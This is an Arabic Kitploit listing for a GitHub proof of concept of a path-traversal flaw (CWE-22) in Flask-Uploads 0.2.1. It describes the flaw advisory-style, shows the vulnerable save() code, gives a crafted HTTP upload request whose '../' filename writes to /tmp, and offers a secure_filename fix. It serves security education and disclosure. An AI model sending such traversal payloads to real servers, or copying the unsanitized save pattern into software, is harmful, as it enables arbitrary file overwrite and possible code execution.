Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC — عرض توضيحي لثغرة CWE-22 الخاصة بتجاوز المسار (Path Traversal) في Flask-Uploads 0.2.1. لأغراض تعليمية وبحوث أمنية فقط. تم اختباره على Python 3.11. | Kitploit
أدوات/GitHubGitHub/nicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubnicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

عرض توضيحي لثغرة CWE-22 الخاصة بتجاوز المسار (Path Traversal) في Flask-Uploads 0.2.1. لأغراض تعليمية وبحوث أمنية فقط. تم اختباره على Python 3.11.

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-XXXXX (قيد الانتظار): ثغرة اجتياز المسار في Flask-Uploads

معلومات الثغرة

  • المنتج: Flask-Uploads
  • الإصدار: 0.2.1 (وربما إصدارات أقدم)
  • نوع الثغرة: اجتياز المسار (Directory Traversal)
  • معرف CWE: CWE-22
  • الخطورة: عالية (CVSS 7.5)
  • الأثر: كتابة ملفات عشوائية، تنفيذ تعليمات برمجية عن بُعد (RCE)

الوصف

توجد ثغرة حرجة من نوع اجتياز المسار في إصدار Flask-Uploads 0.2.1. تفشل المكتبة في تعقيم أسماء الملفات المرفوعة بشكل صحيح قبل حفظها في نظام الملفات.

على وجه التحديد، تقوم طريقة save() في flask_uploads.py بربط مسار وجهة الرفع مباشرةً مع اسم الملف المقدَّم من المستخدم باستخدام os.path.join(). يسمح هذا للمهاجم بتضمين تسلسلات اجتياز الدلائل (مثل ../../) في اسم الملف، مما يمكنّه من كتابة ملفات في مواقع عشوائية على نظام ملفات الخادم.

تحليل السبب الجذري

الملف: flask_uploads.py (السطر 132 في الإصدار 0.2.1)

root@kitploit:~
def save(self, storage, filename=None):
    if filename is None:
        filename = storage.filename
    # VULNERABLE CODE: No sanitization of 'filename'
    target = os.path.join(self.destination, filename)
    storage.save(target)
    return filename

يعتمد التطبيق على المطوّر لتعقيم اسم الملف، لكن وثائق المكتبة توحي بأنها تتعامل مع رفع الملفات بشكل آمن. افتراضيًا، إذا مرّر المطوّر اسم ملف خام من طلب ما، فإن ذلك يؤدي إلى ثغرة.

الأثر

  1. الكتابة فوق ملفات عشوائية: يمكن للمهاجمين الكتابة فوق ملفات نظام حرجة (مثل ssh_host_key، ملفات الإعدادات).
  2. تنفيذ تعليمات برمجية عن بُعد (RCE): من خلال رفع سكربت ضار (مثل .php، .py) إلى دليل يتم تنفيذه بواسطة خادم الويب (مثل cgi-bin أو مجلد ثابت معروف)، يمكن للمهاجم تنفيذ أوامر عشوائية على الخادم.

إثبات المفهوم (PoC)

يمكن للمهاجم استغلال هذه الثغرة عن طريق إرسال طلب POST باسم ملف مصمم بعناية:

root@kitploit:~
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain

HACKED
------WebKitFormBoundary--

إذا استخدم الخادم Flask-Uploads لحفظ هذا الملف، فسيتم كتابته في /tmp/pwned.txt بدلاً من دليل الرفع المقصود.

التخفيف / الإصلاح

يجب على المكتبة التحقق من أن المسار المُدمج يقع ضمن الدليل المقصود باستخدام os.path.abspath وstartswith، أو استخدام دالة تعقيم مثل werkzeug.utils.secure_filename دائمًا.

الإصلاح الموصى به:

root@kitploit:~
from werkzeug.utils import secure_filename

# ...
filename = secure_filename(filename) 
target = os.path.join(self.destination, filename)
تنزيل الأداة